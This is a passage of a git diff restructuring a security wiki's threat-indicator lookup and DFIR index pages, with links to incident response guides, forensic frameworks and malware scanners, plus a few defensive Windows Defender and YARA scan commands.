Project](https://check.spamhaus.org/) - * Searches: IP, Domain, Hash - * Returns: Reputation data -* [ThreatInteligencePlatform.com](https://threatintelligenceplatform.com) - * Searches: IP, Domain, Hash - * Returns: Reputation Data, Web site data, Open Ports, SSL Certificate data, Malware Detection, WHOIS, MX records and config, NS records and config -* [OPSWAT Metadefender](https://metadefender.opswat.com/?lang=en) - * Searches: File, URL, IP, Domain, Hash, CVE - * Returns: Any detection from multiple other engines with link to that engines data. -* [RiskIQ Intel Articles](https://community.riskiq.com/home) - * Searches: Domain, Hosts, IP, Email, Hash, Tags - * Returns: Associated intelligence article containing the searched for indicator -* [PulseDive](https://pulsedive.com/) - * Searches: Indicators, Threats, Feeds, Misc. data - * Returns: Risk Info, Highlights, Ports, Threat info, Reputation data, Linked Indicators -* [Malc0de database](https://malc0de.com/database/) - * Searches: IP, domain, hash, ASN - * Returns: ????? -* [ThreatShare](https://threatshare.io/malware/) - * Searches: IP, URL - * Returns: malware family, online status, URLscan data -* [Phishstats](https://phishstats.info/) (Public Dashboard 2) - * Searches: IP, host, domain, full URL - * Returns: Related metadata and reputation data. -* [Twitter IOC Hunter](http://tweettioc.com/) - An incredible tool that scrapes twitter for IoCs that are publicly reported through thier platform and puts them into a searchable repository. Tweet IoCs are one of the fastest ways to get information on newly discovered IoCs as they will often have context around thier discovery. -* [https://lookup.abusix.com/](https://lookup.abusix.com/) - * Search: IP, domain, or email address - * Returns: Presence on internal blocklist and misc available detail. -* [https://cleantalk.org/#](https://cleantalk.org) - * Search: IP Addresses, Email, Subnet, Domain - * Returns: Presence on internal blocklist for spam activity - -
+* YARA rules and malware signature hunting live in DFIR. -## Investigation Tools +{% content-ref url="../dfir-digital-forensics-and-incident-response/yara.md" %} +[yara.md](../dfir-digital-forensics-and-incident-response/yara.md) +{% endcontent-ref %} -If you do not have a SOAR platform to perform some of the OSINT lookups for you, Security analysts must take the tedious effort of plugging their IoC into one of the above tools to gather data manually. To make that process easier, I created a tool that will allow you to open all the tools you want and pivot directly to their results. +* Sigma rules, MITRE CAR, detection content, and detection engineering live in Event Detection. -{% hint style="info" %} -Note: Some tools require more than a simple append on to the end of the URI. I am currently working on expanding that functionality. -{% endhint %} +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -{% file src="../.gitbook/assets/EasyOSINT.html" %} +* LOLBAS, GTFOBins, LOLDrivers, LOLAPPS, and WADComs are useful for detection and adversary tradecraft context. Keep them with detection engineering or technique-specific pages rather than reputation lookup. -{% embed url="https://github.com/s0cm0nkey/EasyOSINT" %} +{% content-ref url="../blue-defense/event-detection/detection-use-cases/" %} +[detection-use-cases](../blue-defense/event-detection/detection-use-cases/) +{% endcontent-ref %} -Here is a MindMap I have made of the popular tools I use for analyzing indicators. +* Vulnerability databases, CISA KEV, EPSS, SSVC, and CVSS live in Asset and Vulnerability Management. -![](<../.gitbook/assets/Threat Object.png>) +{% content-ref url="../blue-defense/vulnerability-management.md" %} +[vulnerability-management.md](../blue-defense/vulnerability-management.md) +{% endcontent-ref %} -The interactive version can be found here: +* Exploit archives and offensive exploit research live in Red Offensive. -{% file src="../.gitbook/assets/Threat Object (1).xmind" %} +{% content-ref url="../red-offensive/testing-methodology/exploit-research.md" %} +[exploit-research.md](../red-offensive/testing-methodology/exploit-research.md) +{% endcontent-ref %} + +## Best Practices for Indicator Analysis + +1. Validate across multiple sources. +2. Preserve context such as ASN, registrar, domain age, passive DNS, certificates, and comments. +3. Document sources consulted and the time of lookup. +4. Use passive analysis first when you do not want to alert adversaries. +5. Treat blocklist absence as unknown, not benign. +6. Verify indicators before blocking or alerting on them. + +## Deprecated and Legacy Tools + +* **ThreatCrowd** - Deprecated. Data migrated to AlienVault OTX; original service is no longer maintained. +* **Digital Attack Map** - Discontinued by Arbor Networks/NETSCOUT. +* **Malware Domain List (MDL)** - No longer actively maintained. +* **Ransomwhere** - Bitcoin ransomware tracker that appears inactive. +* **CybOX** - Legacy observable specification largely superseded by STIX 2.x observables. +* **Sigmac** - Deprecated Sigma converter; pySigma and sigma-cli replaced it. +* **YARA-Rules/rules** - Archived community YARA rules repository. + +## Tool Accuracy Notes +* Blacklist source counts change frequently, so this page avoids hard-coding source counts. +* Free APIs often have rate limits or require registration. +* Browser extension links can change; search by extension name if a store link breaks. +* Passive DNS retention varies by provider. +* Advanced malware may detect sandbox environments and alter behavior. diff --git a/dfir-digital-forensics-and-incident-response/README.md b/dfir-digital-forensics-and-incident-response/README.md index 61f0943..0ac4c86 100644 --- a/dfir-digital-forensics-and-incident-response/README.md +++ b/dfir-digital-forensics-and-incident-response/README.md @@ -1,165 +1,102 @@ -# Blue - DFIR: Digital Forensics and Incident Response - -DFIR: Digital Forensics and Incident Response is a hugely important important sector of cyber security, where your everyday security analysis is take to the next level. While most security analysts will work out of a SIEM or SOAR platform, Incident Responders and Forensic analysts typically work directly with a potentially compromised device. With this, they are required to not only be familiar with a larger array of tools for analysis, but also a much stricter set of process and procedures as their actions are often subject to legal requirements. - -## **DFIR Resource Collections** +--- +description: DFIR resources for incident response, forensic triage, Windows and Linux commands, memory forensics, malware analysis, and evidence collection. +--- -* [DFIR Compendium ](https://aboutdfir.com/)- The Definitive Compendium Project Digital Forensics & Incident Response -* [Infosec Reference: DFIR](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/DFIR.md) - Massive collection of DFIR guides, articles, and tools -* [https://start.me/p/jj0B26/dfir](https://start.me/p/jj0B26/dfir) - Collection of more DFIR resources -* [https://www.jaiminton.com/cheatsheet/DFIR/](https://www.jaiminton.com/cheatsheet/DFIR/) - Huge collection of DFIR commands and methodology -* Training - * [DFIR Tra](https://www.dfir.training/)[ning](https://www.dfir.training/) - Tools, resources, and training classes for DFIR professionals - * [https://dfirmadness.com/](https://dfirmadness.com/) - Collection of training use cases to hone your DFIR skills +# Blue - DFIR: Digital Forensics and Incident Response -## **Incident Response** +DFIR focuses on evidence, timelines, containment, eradication, and recovery after suspicious activity or a confirmed compromise. This section is for hands-on incident response and forensic analysis: remote triage, host commands, event logs, evidence collection, memory forensics, sandboxing, file analysis, malware analysis, and reverse engineering. -{% tabs %} -{% tab title="Guides and Resources" %} -* [Awesome Lists Collection: Incident Response](https://github.com/meirwah/awesome-incident-response) -* [ATC React](https://atc-project.github.io/atc-react/) - The RE\&CT Framework is designed for accumulating, describing and categorizing actionable Incident Response techniques. It can be used for prioritization of Incident Response capabilities development, including skills development, technical measures acquisition/deployment, internal procedures development, etc, as well as gap analysis to determine "coverage" of existing Incident Response capabilities. - * [https://github.com/atc-project/atc-react](https://github.com/atc-project/atc-react) - * [https://github.com/atc-project/atc-data](https://github.com/atc-project/atc-data) -* [https://github.com/certsocietegenerale/IRM](https://github.com/certsocietegenerale/IRM) - CERT Societe Generale Incident Response Methodologies 2022 -* [SANS Incident Handlers Handbook](https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901) -* [Exabeam Incident Response Guide](https://www.exabeam.com/incident-response/steps/) -* [NIST 61 R2 - ](./#tools-and-frameworks)[Computer Security Incident Handling Guide](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) -* [https://zeltser.com/ddos-incident-cheat-sheet/](https://zeltser.com/ddos-incident-cheat-sheet/) -* [https://gitlab.com/syntax-ir/playbooks#ir-playbooks](https://gitlab.com/syntax-ir/playbooks#ir-playbooks) - Public IR playbooks -* [https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks](https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks) - * [Azure-AD-Incident-Response-PowerShell-Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) - * [https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/](https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/) -* _BTFM: Incident Response checklist - pg. 109_ -* _BTFM: Remediation Tasks - pg. 112_ -* _(BTHb: INRE): Incident Response Steps - pg. 5_ -{% endtab %} - -{% tab title="IR Report Writing" %} -* [https://github.com/cyb3rfox/Aurora-Incident-Response](https://github.com/cyb3rfox/Aurora-Incident-Response) - Incident Response Documentation made easy. Developed by Incident Responders for Incident Responders -* [PagerDuty Incident Response processes and document templates](https://response.pagerduty.com/) -* [Zeltser Incident Survey CheatSheet](https://zeltser.com/security-incident-survey-cheat-sheet/) -* [https://zeltser.com/cyber-threat-intel-and-ir-report-template/](https://zeltser.com/cyber-threat-intel-and-ir-report-template/) -* _(BTHb: INRE): Incident Response Template - pg. 24_ -{% endtab %} - -{% tab title="Misc" %} -* DNSDB for Incident Response - [https://info.farsightsecurity.com/passive-dns-incident-response-ebook](https://info.farsightsecurity.com/passive-dns-incident-response-ebook) -* [Let's Defend: Build your own IR tool guide ](https://letsdefend.io/blog/build-your-own-simple-data-collection-tool-from-endpoint/) -* [https://training.fema.gov/is/courseoverview.aspx?code=IS-100.c](https://training.fema.gov/is/courseoverview.aspx?code=IS-100.c) - Introduction to the Incident Command System, introduces the Incident Command System (ICS) and provides the foundation for higher level ICS training. -* [Incident Response in a Microsoft cloud environment](https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/) - - -{% endtab %} - -{% tab title="Training" %} -* [Incident Response Challange](https://incident-response-challenge.com/?utm\_source=thn) - IR CTF Style Training Scenarios - - -{% endtab %} -{% endtabs %} - -### IR/Malware Scanners - -{% tabs %} -{% tab title="Frameworks/Collections" %} -* [Kansa (Powershell)](https://github.com/davehull/kansa) - A modular incident response framework in Powershell. It uses Powershell Remoting to run user contributed, ahem, user contri- buted modules across hosts in an enterprise to collect data for use during incident response, breach hunts, or for building an environmental baseline. -* [Windows Forensic Toolchest](https://www.foolmoon.net/security/wft/) - The Windows Forensic Toolchest™ (WFT) is designed to provide a structured and repeatable automated Live Forensic Response, Incident Response, or Audit on a Windows system while collecting security-relevant information from the system. -* [Veliciraptor](https://github.com/Velocidex/velociraptor) - A tool for collecting host based state information. - * [Velociraptor Deep Dive Video training](https://www.youtube.com/watch?app=desktop\&v=PiYPLEjYXnw) -* [Meerkat](https://github.com/TonyPhipps/Meerkat) - Meerkat is collection of PowerShell modules designed for artifact gathering and reconnaisreconnaissanceance of Windows-based endpoints without requiring a pre-deployed agent. -* [https://www.cadosecurity.com/cado-community-edition/](https://www.cadosecurity.com/cado-community-edition/) - The Cado Community Edition leverages the scale and speed of the cloud to simplify deep-dive investigations. With the free community edition, data can be processed in minutes compared to days when using traditional methods. Stop wasting time, money, or effort. Achieve forensic-level detail without forensic-level effort. Only Cado empowers the security community to investigate and respond at cloud speed. -{% endtab %} - -{% tab title="Malware/AV Scanners" %} -* [MalwareBytes IR Scanner](https://www.malwarebytes.com/business/incident-response) - * [https://www.malwarebytes.com/pdf/datasheets/mbirdatasheet.pdf](https://www.malwarebytes.com/pdf/datasheets/mbirdatasheet.pdf) -* [ClamAV](https://www.clamav.net/downloads) - ClamAV is an open source antivirus engine for detecting trojans, viruses, malware & other malicious threats. Can be used with a USB for portable scanning of devices. -* [Microsoft Safety Scanner ](https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download)- Microsoft Safety Scanner is a scan tool designed to find and remove malware from Windows computers. Simply download it and run a scan to find malware and try to reverse changes made by identified threats. -* [hashlookup-forensic-analyser](https://github.com/hashlookup/hashlookup-forensic-analyser) - Analyse a forensic target (such as a directory) to find and report files found and not found from CIRCL hashlookup public service - [https://circl.lu/services/hashlookup/](https://circl.lu/services/hashlookup/) -* [Redline by Fireeye ](https://www.fireeye.com/services/freeware/redline.html)- Redline®, FireEye's premier free endpoint security tool, provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis and the development of a threat assessment profile. -* [https://www.herdprotect.com/](https://www.herdprotect.com/) - herdProtect is a second line of defense malware scanning platform powered by [68 anti-malware engines](https://www.herdprotect.com/engines.aspx) in the cloud. Since no single anti-malware program is perfect 100% of the time, herdProtect utilizes a 'herd' of multiple engines to guarantee the widest coverage and the earliest possible detection. As a second line of defense anti-malware solution, herdProtect is designed to run with any existing anti-virus program already installed on a user's PC. herdProtect is a free service to help user's find and remove malicious software. - * [https://www.herdprotect.com/knowledgebase.aspx](https://www.herdprotect.com/knowledgebase.aspx) -* Windows Defender Scan - - ``` - "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 1 - "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 2 - "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File C:\Users\[username]\AppData\Local\Temp - ``` - - Note: Types are as follows - - * 1: Quick scan - * 2: Full system scan - * 3: File and directory custom scan - - #### Check Windows Defender for excluded files and default actions - - ``` - reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s - Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions' - Get-MpPreference | Select Exclusion* - Get-MpPreference | Select *DefaultAction - ``` -* [Crowdstrike's CrowdResponse Scanner ](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)- Static Host Data Collection Tool +For detection engineering, SIEM rules, and Sysmon configuration, use Event Detection. For reputation and enrichment lookups, use Threat Data. -``` -CrowdResponse -v -i config.txt -o out.xml -``` +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -* [CobaltStrikeScan](https://github.com/Apr4h/CobaltStrikeScan) - Scan files or process memory for CobaltStrike beacons and parse their configuration. -* [pe-sieve](https://github.com/hasherezade/pe-sieve) - Scans a given process. Recognizes and dumps a variety of potentially malicious implants (replaced/injected PEs, shellcodes, hooks, in-memory patches). - * [https://hshrzd.wordpress.com/pe-sieve/](https://hshrzd.wordpress.com/pe-sieve/) -* [gmer Rootkit scanner](https://www.gmer.net/) - An application that detects and removes [rootkits](http://en.wikipedia.org/wiki/Rootkit) -* [chkrootkit](http://www.chkrootkit.org/) - A tool to locally check for signs of a [rootkit](http://www.chkrootkit.org/links/). - * [https://www.kali.org/tools/chkrootkit/](https://www.kali.org/tools/chkrootkit/) -* [RKHunter](https://github.com/installation/rkhunter) - scans systems for known and unknown rootkits, backdoors, sniffers and exploits. - * [https://www.kali.org/tools/rkhunter/](https://www.kali.org/tools/rkhunter/) -{% endtab %} - -{% tab title="Yara Scanners" %} -{% content-ref url="yara.md" %} -[yara.md](yara.md) +{% content-ref url="../cyber-intelligence/threat-data.md" %} +[threat-data.md](../cyber-intelligence/threat-data.md) {% endcontent-ref %} -* [Yara](https://github.com/virustotal/yara/releases/latest) +## DFIR Resource Collections -``` -yara32.exe -d filename=[file defined in ruleset.yar] [ruleset.yar] [file to scan] -yara32.exe -d filename=[svchost.exe] [ruleset.yar] -r [directory to scan] -yara64.exe yararule.yar -r C: -yara64.exe yararule.yar -r C: -f 2> $null -``` +* [DFIR Compendium](https://aboutdfir.com/) - Broad DFIR tool and reference collection. +* [Infosec Reference: DFIR](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/DFIR.md) - Large collection of DFIR guides, articles, and tools. +* [DFIR start.me](https://start.me/p/jj0B26/dfir) - Curated DFIR bookmark collection. +* [Jaiminton DFIR Cheatsheet](https://www.jaiminton.com/cheatsheet/DFIR/) - DFIR commands and methodology. +* [Awesome Incident Response](https://github.com/meirwah/awesome-incident-response) +* [Awesome Forensics](https://github.com/Cugu/awesome-forensics) +* [Awesome KAPE](https://github.com/AndrewRathbun/Awesome-KAPE) +* [Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) -* Yara Linux - * Note: -s shows matching yara strings. +Training, CTFs, labs, and course links have moved to Training. -``` -yara rule.yara malware.exe -s -yara rule.yara [Directory] -s -``` +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} -* [https://www.nextron-systems.com/thor/](https://www.nextron-systems.com/thor/) - IR scanner with more than 12,000 handcrafted YARA signatures, 400 Sigma rules, numerous anomaly detection rules and thousands of IOCs. - * [Loki Scanner](https://github.com/Neo23x0/Loki) - The free and open IOC scanner using YARA rules. - * [Fenrir](https://github.com/Neo23x0/Fenrir) - Fenrir is a simple IOC scanner bash script. It allows scanning Linux/Unix/OSX systems for Indicators of Compromise (IOCs). -* [Binalyze IREC Tactical ](https://www.binalyze.com/tactical)- Standalone evidence collector for traditional DFIR situations. Can scan target with set YARA rules +## Incident Response Process +* [RE&CT Framework](https://atc-project.github.io/atc-react/) - Actionable incident response techniques and capability mapping. + * [atc-react GitHub](https://github.com/atc-project/atc-react) + * [atc-data GitHub](https://github.com/atc-project/atc-data) +* [CERT Société Générale IRM](https://github.com/certsocietegenerale/IRM) - Public incident response methodologies. +* [SANS Incident Handler's Handbook](https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901) +* [SANS Incident Response Process](https://www.sans.org/posters/incident-response-cycle/) - Preparation, identification, containment, eradication, recovery, and lessons learned. +* [NIST SP 800-61 Rev. 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) - Computer Security Incident Handling Guide. +* [Exabeam Incident Response Guide](https://www.exabeam.com/incident-response/steps/) +* [Zeltser DDoS Incident Cheat Sheet](https://zeltser.com/ddos-incident-cheat-sheet/) +* [Syntax IR Playbooks](https://gitlab.com/syntax-ir/playbooks#ir-playbooks) +* [Microsoft Incident Response Playbooks](https://learn.microsoft.com/en-us/security/compass/incident-response-playbooks) + * [Azure AD Incident Response PowerShell Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) + * [Incident Response in a Microsoft Cloud Environment](https://m365internals.com/2021/04/17/incident-response-in-a-microsoft-cloud-environment/) + +## Report Writing and Documentation + +* [Aurora Incident Response](https://github.com/cyb3rfox/Aurora-Incident-Response) - IR documentation templates. +* [PagerDuty Incident Response Templates](https://response.pagerduty.com/) +* [Zeltser Incident Survey Cheat Sheet](https://zeltser.com/security-incident-survey-cheat-sheet/) +* [Zeltser CTI and IR Report Template](https://zeltser.com/cyber-threat-intel-and-ir-report-template/) + +## Host Collection and IR Frameworks + +* [Kansa](https://github.com/davehull/kansa) - PowerShell-based incident response framework for collecting data across Windows hosts. +* [Windows Forensic Toolchest](https://www.foolmoon.net/security/wft/) - Structured live forensic response and audit collection. +* [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility, collection, and response platform. + * [Velociraptor Deep Dive](https://www.youtube.com/watch?app=desktop&v=PiYPLEjYXnw) +* [Meerkat](https://github.com/TonyPhipps/Meerkat) - PowerShell modules for Windows artifact gathering and reconnaissance. +* [Cado Community Edition](https://www.cadosecurity.com/cado-community-edition/) - Cloud-focused investigation and evidence processing. +* [AWS_IR](https://github.com/ThreatResponse/aws_ir) - Command-line utility for AWS incident response. +* [ADTimeline](https://github.com/ANSSI-FR/ADTimeline) - Active Directory replication metadata timeline generator. +* [GRR Rapid Response](https://github.com/google/grr) - Remote live forensics framework. +* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - PowerShell framework for disk forensic analysis. + * [PowerForensics Docs](https://powerforensics.readthedocs.io/en/latest/) + +## Malware and IR Scanners + +* [Malwarebytes Incident Response](https://www.malwarebytes.com/business/incident-response) +* [ClamAV](https://www.clamav.net/downloads) - Open-source antivirus engine. +* [Microsoft Safety Scanner](https://learn.microsoft.com/en-us/defender-endpoint/safety-scanner-download) - On-demand malware removal scanner. +* [hashlookup-forensic-analyser](https://github.com/hashlookup/hashlookup-forensic-analyser) - Analyze files against CIRCL hashlookup. +* [CobaltStrikeScan](https://github.com/Apr4h/CobaltStrikeScan) - Cobalt Strike beacon scanning and config parsing. +* [System Informer](https://systeminformer.sourceforge.io/) - Successor to Process Hacker for process, handle, service, and module investigation. +* [Windows Defender MpCmdRun](https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus) - Defender command-line scanner. + +```cmd +"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 1 +"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 2 +"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File C:\Users\[username]\AppData\Local\Temp ``` -IREC.exe --triage-memory -IREC.exe -ad "\\MACHINE\IREC-DIR" --triage-ruleset MyYaraRules --triage-memory -``` -{% endtab %} -{% tab title="Scanning Utilities" %} -* [AWS\_IR](https://github.com/ThreatResponse/aws\_ir) - Python installable command line utility for mitigation of instance and key compromises. -* [https://processhacker.sourceforge.io/](https://processhacker.sourceforge.io/) - A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware. -* [ADTimeline](https://github.com/ANSSI-FR/ADTimeline) - The ADTimeline script generates a timeline based on Active Directory replication metadata for objects considered of interest. -* [Azure-AD-Incident-Response-PowerShell-Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) - The Azure Active Directory Incident Response PowerShell module provides a number of tools, developed by the Azure Active Directory Product Group in conjunction with the Microsoft Detection and Response Team (DART), to assist in compromise response. - * [https://www.powershellgallery.com/packages/AzureADIncidentResponse/](https://www.powershellgallery.com/packages/AzureADIncidentResponse/) +YARA, Loki, THOR Lite, Fenrir, and Binalyze IREC are maintained on the YARA page. +{% content-ref url="yara.md" %} +[yara.md](yara.md) +{% endcontent-ref %} -{% endtab %} -{% endtabs %} +Memory scanners such as `pe-sieve` are maintained with memory forensics. + +{% content-ref url="memory-forensics/" %} +[memory-forensics](memory-forensics/) +{% endcontent-ref %} ## DFIR Commands @@ -187,14 +124,14 @@ IREC.exe -ad "\\MACHINE\IREC-DIR" --triage-ruleset MyYaraRules --triage-memory [windows-event-logs.md](windows-event-logs.md) {% endcontent-ref %} -{% content-ref url="windows-remediation-commands.md" %} -[windows-remediation-commands.md](windows-remediation-commands.md) -{% endcontent-ref %} - {% content-ref url="ir-event-log-cheatsheet.md" %} [ir-event-log-cheatsheet.md](ir-event-log-cheatsheet.md) {% endcontent-ref %} +{% content-ref url="windows-remediation-commands.md" %} +[windows-remediation-commands.md](windows-remediation-commands.md) +{% endcontent-ref %} + {% content-ref url="linux-dfir-commands.md" %} [linux-dfir-commands.md](linux-dfir-commands.md) {% endcontent-ref %} @@ -203,241 +140,120 @@ IREC.exe -ad "\\MACHINE\IREC-DIR" --triage-ruleset MyYaraRules --triage-memory [macos-dfir-commands.md](macos-dfir-commands.md) {% endcontent-ref %} -## **Forensics** - -{% tabs %} -{% tab title="Guides and Resources" %} -* [Awesome Lists Collection: Forensics](https://github.com/Cugu/awesome-forensics) -* [DFIR artifact repository](https://github.com/ForensicArtifacts/artifacts) -* [https://tryhackme.com/room/windowsforensics1](https://tryhackme.com/room/windowsforensics1) -* Cheatsheets - * [Zeltser Critical Log Cheatsheet](https://zeltser.com/security-incident-log-review-checklist/) - * [SANS Forensics Cheatsheets](https://digital-forensics.sans.org/community/cheat-sheets) -* Triage and Order of Volatility - * [RFC - 3227: Order of Volatility](https://datatracker.ietf.org/doc/html/rfc3227) - * _(BTHb: INRE): Order of Volatility - pg. 29_ - * _BTFM: Live Triage - pg. 60_ -{% endtab %} - -{% tab title="Forensic OS/VM" %} -* [https://www.sans.org/tools/sift-workstation](https://www.sans.org/tools/sift-workstation) - The SIFT Workstation is a collection of free and open-source incident response and forensic tools designed to perform detailed digital forensic examinations in a variety of settings. It can match any current incident response and forensic tool suite. +## Forensic Workstations and Frameworks + +* [SIFT Workstation](https://www.sans.org/tools/sift-workstation) - SANS forensic workstation for detailed digital forensic examinations. * [SANS DFIR Posters and Cheat Sheets](https://www.sans.org/security-resources/posters/dfir/?msc=tool-sift) - * [How To Mount a Disk Image In Read-Only Mode](https://www.sans.org/blog/digital-forensic-sifting-how-to-perform-a-read-only-mount-of-filesystem-evidence/?msc=tool-sift) - * [How To Create a Filesystem and Registry Timeline](https://www.sans.org/blog/digital-forensic-sifting-registry-and-filesystem-timeline-creation/?msc=tool-sift) - * [How To Create a Super Timeline](https://www.sans.org/blog/digital-forensic-sifting-super-timeline-creation-using-log2timeline/?msc=tool-sift) - * [SIFT Workstation YouTube Series](https://www.youtube.com/playlist?list=PL60DFAE759FCDF36A) - * [FOR508 - Advanced Incident Response](https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/?msc=tool-sift) -* [https://tsurugi-linux.org/](https://tsurugi-linux.org/) - 64 bit Linux version to perform digital forensics analysis and OSINT research. - * [tsurugi\_acquire](https://tsurugi-linux.org/tsurugi\_acquire.php) - a lightweight and streamlined version of Tsurugi Linux \[LAB], aimed at providing the basic tools needed to boot a PC and acquire mass storage devices. - * [bento](https://tsurugi-linux.org/bento.php) - a portable toolkit designed for live forensics and incident response activities. - * [https://tsurugi-linux.org/documentation\_tsurugi\_linux\_tools\_listing\_2021.php](https://tsurugi-linux.org/documentation\_tsurugi\_linux\_tools\_listing\_2021.php) - - -{% endtab %} - -{% tab title="Forensic Frameworks" %} -* [Autopsy forensic framework](https://www.autopsy.com/community/) - Autopsy is the premier open source forensics platform which is fast, easy-to-use, and capable of analyzing all types of mobile devices and digital media - * [https://dfir-training.basistech.com/](https://dfir-training.basistech.com/) - * [https://www.aldeid.com/wiki/Autopsy](https://www.aldeid.com/wiki/Autopsy) - * [https://tryhackme.com/room/autopsy2ze0](https://tryhackme.com/room/autopsy2ze0) -* [X-Ways Forensic Toolkit](https://www.x-ways.net/forensics/) - X-Ways Forensics is an advanced work environment for computer forensic examiners - * [https://www.x-ways.net/forensics/x-tensions/](https://www.x-ways.net/forensics/x-tensions/) - X-Ways plugin tools - * [https://github.com/CrowdStrike/xwf-yara-scanner](https://github.com/CrowdStrike/xwf-yara-scanner) - YARA Scanner Plugin - * [X-ways Imager](https://www.x-ways.net/imager/index-m.html) - Forensic disk imaging tool. Stripped down version of the [X-Ways Forensics](https://www.x-ways.net/forensics/index-m.html) computer forensics software with just the disk imaging functionality and little more -* [Forensic Tool Kit (FTK)](https://www.exterro.com/forensic-toolkit) - Premium forensics suite that can perform imaging, file decryption, registry parsing, and much more. - * [FTK Imager by AccessData](https://www.exterro.com/ftk-imager) - Create forensic images of local hard drives, CDs and DVDs, thumb drives or other USB devices, entire folders, or individual files from various places within the media. -* [sleuthkit](https://www.kali.org/tools/sleuthkit/) - The Sleuth Kit, also known as TSK, is a collection of UNIX-based command line file and volume system forensic analysis tools. The filesystem tools allow you to examine filesystems of a suspect computer in a non-intrusive fashion. Because the tools do not rely on the operating system to process the filesystems, deleted and hidden content is shown. - * [http://www.sleuthkit.org/sleuthkit/](http://www.sleuthkit.org/sleuthkit/) -* [NTDSxtract](https://github.com/csababarta/ntdsxtract) - Active Directory forensic framework -* [linux-explorer](https://github.com/intezer/linux-explorer) - Easy-to-use live forensics toolbox for Linux endpoints + * [Read-Only Mounting with SIFT](https://www.sans.org/blog/digital-forensic-sifting-how-to-perform-a-read-only-mount-of-filesystem-evidence/?msc=tool-sift) + * [Filesystem and Registry Timeline Creation](https://www.sans.org/blog/digital-forensic-sifting-registry-and-filesystem-timeline-creation/?msc=tool-sift) + * [Super Timeline Creation](https://www.sans.org/blog/digital-forensic-sifting-super-timeline-creation-using-log2timeline/?msc=tool-sift) +* [Tsurugi Linux](https://tsurugi-linux.org/) - DFIR Linux distribution with OSINT tooling. + * [tsurugi_acquire](https://tsurugi-linux.org/tsurugi_acquire.php) + * [bento](https://tsurugi-linux.org/bento.php) + * [Tsurugi Tools Listing](https://tsurugi-linux.org/documentation_tsurugi_linux_tools_listing_2021.php) +* [Autopsy](https://www.autopsy.com/community/) - Open-source forensic platform. +* [X-Ways Forensics](https://www.x-ways.net/forensics/) - Commercial forensic suite. + * [X-Ways X-Tensions](https://www.x-ways.net/forensics/x-tensions/) + * [CrowdStrike X-Ways YARA Scanner](https://github.com/CrowdStrike/xwf-yara-scanner) + * [X-Ways Imager](https://www.x-ways.net/imager/index-m.html) +* [FTK](https://www.exterro.com/forensic-toolkit) - Commercial forensic suite. + * [FTK Imager](https://www.exterro.com/ftk-imager) +* [The Sleuth Kit](https://www.kali.org/tools/sleuthkit/) + * [sleuthkit.org](http://www.sleuthkit.org/sleuthkit/) +* [NTDSxtract](https://github.com/csababarta/ntdsxtract) - Active Directory forensic framework. +* [linux-explorer](https://github.com/intezer/linux-explorer) - Live forensics toolbox for Linux endpoints. * [Installation and Configuration Video](https://youtu.be/NAOtGYBG-QY) -* [GRR](https://github.com/google/grr) - GRR Rapid Response is an incident response framework focused on remote live forensics. -* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - An all inclusive framework for hard drive forensic analysis. PowerForensics currently supports NTFS and FAT file systems, and work has begun on Extended File System and HFS+ support. - * [https://powerforensics.readthedocs.io/en/latest/](https://powerforensics.readthedocs.io/en/latest/) - * [https://devblogs.microsoft.com/powershell/powershell-the-blue-team/](https://devblogs.microsoft.com/powershell/powershell-the-blue-team/) -* [Eric Zimmerman's toolset](https://ericzimmerman.github.io/#!index.md) - SANS instructor and former FBI Forensics expert Eric Zimmerman has created a list of his favorite tools for public use and reference. - * [https://cyberforensicator.com/2017/04/04/a-guide-to-eric-zimmermans-command-line-tools/](https://cyberforensicator.com/2017/04/04/a-guide-to-eric-zimmermans-command-line-tools/) - * [KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape) - lets forensic teams collect and process forensically useful artifacts within minutes. - * [https://github.com/AndrewRathbun/Awesome-KAPE](https://github.com/AndrewRathbun/Awesome-KAPE) - * [https://ericzimmerman.github.io/KapeDocs/#!index.md](https://ericzimmerman.github.io/KapeDocs/#!index.md) +* [Eric Zimmerman's Tools](https://ericzimmerman.github.io/#!index.md) - Windows forensic artifact tools. + * [Eric Zimmerman Tool Guide](https://cyberforensicator.com/2017/04/04/a-guide-to-eric-zimmermans-command-line-tools/) + * 